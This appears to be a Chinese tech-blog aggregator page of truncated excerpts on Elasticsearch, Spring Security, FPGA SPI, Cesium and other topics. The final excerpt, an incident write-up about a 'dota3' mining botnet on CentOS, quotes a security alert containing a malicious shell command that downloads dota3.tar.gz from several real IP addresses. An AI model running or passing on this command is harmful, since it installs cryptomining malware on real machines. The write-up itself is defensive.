Amp

ElasticSearch使用的其他总结

谁都会走 提交于 2020-07-25 13:50:44
使用search template 对于ES可以理解为一个NoSQL的容器,应用来访问和调用的过程。对于搜索引擎来讲,一般的项目所有业务搜索场景都是相对明确的。是否可以做到ES的复杂json业务处理,由ES来做,前端不关心ES的json的语法格式来做到搜索引擎和前端解耦?使用模版结构。 模版结构可以应用到所有的索引上,所以创建的时候不加索引,template是模版名,可以自定义 POST /_scripts/templatename { "script": { "lang": "mustache", "source": { "query": { "match": { "username": { "query": "{{nick_value}}", "analyzer": "{{nick_analyzer}}" } } } } } } 获得模版:GET /_scripts/ templatename 删除模版: DELETE /_scripts/templatename 调用模版进行查询: GET /index_customer/_search/template { "id": " templatename ", "params": { "nick_value": "张三", "nick_analyzer": "ik_max_word" } } 给field增加分词器 POST

大数据容器化,头部玩家尝到了甜头?

强颜欢笑 提交于 2020-07-25 07:59:08
大数据的需求热度,从来都是这个时代的浪尖。然而由于大数据系统的复杂性,一度导致业界大数据已死的各种声音不断。尤其是当MapR被HPE收购,Cloudera公司股票持续跌成狗,使得这种声音进一步放大。其实,大数据的需求一直在,只是传统的大数据实现系统需要考虑重新构建。 而容器依靠其自身的标准化,一次构建,随处运行的能力,使得非常适合大数据系统的构建和管理。容器技术当前正是那只火遍全球的当红辣子鸡。 1 华为云BigData Pro大数据解决方案荣获行业年度金奖 2019年12月3日晚,2019年度中国数据与存储峰会年度颁奖典礼上,华为云BigData Pro大数据解决方案荣获“2019年度大数据产品金奖”,再一次展示了华为云在大数据领域的不凡实力。中国数据与存储峰会(DSS)是国内顶级的数据与存储领域技术盛会,其颁发的奖项颇具含金量,在十多年间见证了国内数据存储技术和行业的迅猛发展。此次评选范围涉及私有云大数据,公有云大数据,大数据软件,大数据解决方案等多个领域和维度。本次华为云BigData Pro能一举拿下该金奖,也是实至名归。 2 大数据容器化,大势所趋 目前已经有大量的大数据系统原生支持on Kubernetes。例如Spark官方版本,从2.3开始,就可以无需任何修改直接跑在K8s上。并且,将“更好的在k8s上运行”作为后续版本的重要特性方向

Cesium笔记(3):基本控件简介—ImageryProvider地图瓦片地图配

夙愿已清 提交于 2020-07-25 07:28:13
cesiumjs中可定制多种图层,可以使用互联网上很多地图提供商的图层数据,也可以使用自己的地图数据。Cesium支持多种标准化格式的GIS瓦片服务,可以把栅格图层绘制到地球的表面——cesiumjs的地图图层本质上是一些瓦片数据,这些图层的亮度、对比度、色相均可以动态调整。 对于地图瓦片数据,OGC(Open Geospatial Consortium开放地理联盟)有很多标准,如TMS、WMTS、各个商业公司也有自己的内部标准。推荐阅读:《 OGC标准WMTS服务概念与地图商的瓦片编号流派-web地图切片加载 》 cesiumjs支持的图层格式 wms TMS WMTS (with time dynamic imagery) ArcGIS Bing Maps Google Earth Mapbox OpenStreetMap 默认地,Cesium使用Bing Maps作为默认的图层。这个图层被打包进Viewer中用于演示。Cesium需要您自己创建ion account然后生成一个access key用于访问图层数据。 Cesium ion Cesium ion是一个提供瓦片图和3D地理空间数据的平台,Cesium ion支持把数据添加到用户自己的CesiumJS应用中。下面我们将使用Sentinal-2二维贴图和Cesium世界地形,二者都需要ion的支持。

这条路有多长,有多难 | 专访OnVideo创始人余世兵&刘歧

北城以北 提交于 2020-07-25 06:21:37
编者按: 一个创业初期的科技公司都是“无知无畏”的少年,少年的莽撞是可爱的,少年的真心是执拗的,进入充实又庸碌、锐利又残酷的商业斗兽场,少年又面临着各种不可预知的风险。 OnVideo选择快手,是希冀“好风凭借力,送我入青云”,趁此机会开疆辟土,一口气攻下国内B端视频编辑市场?还是想通过技术售卖实现更大的梦想,以便转换航道朝着新风口再出发? 世界瞬息万变,而我们唯一可以确定的,是面对远方未知的一切,一定还有什么等着OnVideo的创始团队去实现。 近日,快手科技完成了对企业级视频智能生产云平台「OnVideo」的收购,OnVideo产品和团队并入快手音视频中台的同时,将保留自己的品牌,但OnVideo官网会于近期下线。 快手音视频技术负责人于冰表示:"视频产业的大趋势是从智能分发拓展到智能生产,此次对OnVideo的收购,除了可以快速补齐快手在视频生产环节技术和产品的完整性外,也是快手未来5G时代云端智能生产发力的开端。 快手一直是以用户为导向、技术为驱动的企业,对于开源技术一直秉持开放和拥抱的态度,而OnVideo联合创始人兼CTO刘歧则是全球知名开源视频软件FFmpeg官方代码维护者、决策委员会成员,也是《FFmpeg从入门到精通》的作者之一,希望他的加入能够帮助提升快手在开源界的贡献和影响力。” 以下内容由LiveVideoStack与OnVideo两位创始人的采访整理而成

Spring Security自定义用户认证

独自空忆成欢 提交于 2020-07-25 06:07:14
在 Spring Boot中开启Spring Security 一节中我们简单搭建了个Spring Boot + Spring Security的项目,认证的用户名和密码都是由Spring Security生成。Spring Security支持我们自定义认证的过程,如处理用户信息获取逻辑,使用我们自定义的登录页面替换Spring Security默认的登录页及自定义登录成功或失败后的处理逻辑等。这里将在上一节的源码基础上进行改造。 自定义认证过程 自定义认证的过程需要实现Spring Security提供的 UserDetailService 接口,该接口只有一个抽象方法 loadUserByUsername ,源码如下: 1 2 3 public interface UserDetailsService { UserDetails loadUserByUsername (String username) throws UsernameNotFoundException ; } loadUserByUsername 方法返回一个 UserDetail 对象,该对象也是一个接口,包含一些用于描述用户信息的方法,源码如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public interface UserDetails extends

FPGA作为从机与STM32进行SPI协议通信---Verilog实现

落花浮王杯 提交于 2020-07-25 04:15:26
一.SPI协议简要介绍 SPI,是英语Serial Peripheral Interface的缩写,顾名思义就是串行外围设备接口。SPI,是一种高速的,全双工,同步的通信总线,并且在芯片的管脚上只占用四根线,节约了芯片的管脚,同时为PCB的布局上节省空间,提供方便,正是出于这种简单易用的特性,现在越来越多的芯片集成了这种通信协议。 SPI总线是Motorola公司推出的三线同步接口,同步串行3线方式进行通信:一条时钟线SCK,一条数据输入线MOSI,一条数据输出线MISO;用于 CPU与各种外围器件进行全双工、同步串行通讯。SPI主要特点有:可以同时发出和接收串行数据;可以当作主机或从机工作;提供频率可编程时钟;发送结束中断标志;写冲突保护;总线竞争保护等。 SPI总线有四种工作方式(SP0, SP1, SP2, SP3),其中使用的最为广泛的是SPI0和SPI3方式。SPI模块为了和外设进行数据交换,根据外设工作要求,其输出串行同步时钟极性和相位可以进行配置,时钟极性(CPOL)对传输协议没有重大的影响。如果CPOL=0,串行同步时钟的空闲状态为低电平;如果CPOL=1,串行同步时钟的空闲状态为高电平。时钟相位(CPHA)能够配置用于选择两种不同的传输协议之一进行数据传输。如果 CPHA=0,在串行同步时钟的第一个跳变沿(上升或下降)数据被采样;如果CPHA=1

520花式营销H5丨煽情、玩梗、小游戏,你喜欢的都在这了

时光总嘲笑我的痴心妄想 提交于 2020-07-25 03:36:38
虽然5·20既不是传统节日又不是国际节日,但它却一直深受营销人、段子手的喜爱。在这一年一度的“网络情人节”,我们该如何通过H5来增强品牌曝光率和用户认同感呢?赶紧借助以下这些实例收获灵感吧~说不定下一个占领营销高地的就是你! 影视推广、综艺造势 代表作品 土豪追追追,是土豪就奋起直追吧! 出品方: 指点无限 实现方式: 意派Epub360 H5页面制作工具 创意特色: 碰撞检测、接物游戏、手绘插画 内容特色: 这是一款游戏类H5,旨在宣传吴镇宇与姚星彤主演的电影《土豪520》。该游戏的玩法比较简单,用户只需在规定时间内左右移动男主角形象并接到心或者金子,即可获得相应的积分。 代表作品 520必备情话,【我不会骗你】点开的人都泪目了 实现方式: 意派Epub360 H5页面制作工具 创意特色: 手绘卡通 内容特色: 该H5围绕“我不会骗你”这句话展开,采用手绘卡通的方式描绘了母亲、老师、爱人等人关于“我不会骗你”的经典语句,最后再引出由卡姿兰冠名的江苏卫视推理类音乐综艺节目《看见你的声音》中粉丝与华晨宇间的互动:“花花,我不会骗你,我是音痴”,继而呼吁用户关注该节目。 活动营销、热点互动 代表作品 520这里会有大事发生,有人已偷偷潜入 出品方: 温都全媒体 实现方式: 意派Epub360 H5页面制作工具 创意特色: 长页面、动画、手绘卡通 内容特色:

认知智能机器人效果展示认知智能未来机器人接口API简介介绍

我的未来我决定 提交于 2020-07-24 20:39:46
认知智能是计算机科学的一个分支科学,是智能科学发展的高级阶段,它以人类认知体系为基础,以模仿人类核心能力为目标,以信息的理解、存储、应用为研究方向,以感知信息的深度理解和自然语言信息的深度理解为突破口,以跨学科理论体系为指导,从而形成的新一代理论、技术及应用系统的技术科学。 认知智能的核心研究范畴包括:1.宇宙、信息、大脑三者关系;2.人类大脑结构、功能、机制;3.哲学体系、文科体系、理科体系;4.认知融通、智慧融通、双脑(人脑和电脑)融通等核心体系。 认知智能四步走:1.认知宇宙世界。支撑理论体系有三体(宇宙、信息、大脑)论、易道论、存在论、本体论、认知论、融智学、HNC 等理论体系;2.清楚人脑结构、功能、机制。支撑学科有脑科学、心理学、逻辑学、情感学、生物学、化学等学科。3.清楚信息内涵规律规则。支撑学科有符号学、语言学、认知语言学、形式语言学等学科。4.系统落地能力。支撑学科有计算机科学、数学等学科。 接口申请官网地址: www.weilaitec.com 接口地址(例子): http://a239p06512.zicp.vip/Web/BuAppJava.bujqrex?apikey="+apikey+"&msg="+msg+"&ip="+ip 用户端消息内容。 String msg ="你在干嘛呀?"; apikey参数。这个apikey就是网站上申请的APIKEY

ThreadPoolExecutor-线程池如何保证线程不被销毁

这一生的挚爱 提交于 2020-07-24 11:49:33
public void execute(Runnable command) { if (command == null) throw new NullPointerException(); /* * Proceed in 3 steps: * * 1. If fewer than corePoolSize threads are running, try to * start a new thread with the given command as its first * task. The call to addWorker atomically checks runState and * workerCount, and so prevents false alarms that would add * threads when it shouldn't, by returning false. * * 2. If a task can be successfully queued, then we still need * to double-check whether we should have added a thread * (because existing ones died since last checking) or that * the pool

CentOS7 下处理挖矿僵尸网络dota3木马攻击

纵然是瞬间 提交于 2020-07-24 10:26:40
凌晨的时候,收到阿里云服务器的告警短信。 紧急安全事件:访问恶意下载源,访问恶意下载IP。 瞬间惊醒,立刻爬起来处理。 先登录阿里云后台,查看安全中心的告警祥情,发现有几条记录: 父进程路径:/usr/bin/bash 父进程命令行:sh -c ./tddwrt7s.sh "http://67.205.135.65/dota3.tar.gz" "http://91.121.51.120/dota3.tar.gz" "http://51.75.28.134/dota3.tar.gz" "http://159.203.17.176/dota3.tar.gz" "http://46.101.113.206/dota3.tar.gz" "http://104.131.189.116/dota3.tar.gz" "http://81.12.13.145/dota3.tar.gz" >.out 2>&1 3>&1 父进程id:15912 进程id:15913 用户名:user_web URL链接:http://91.121.51.120/dota3.tar.gz 进程路径:/usr/bin/bash 命令行参数:/bin/bash ./tddwrt7s.sh http://67.205.135.65/dota3.tar.gz http://91.121.51.120/dota3.tar.gz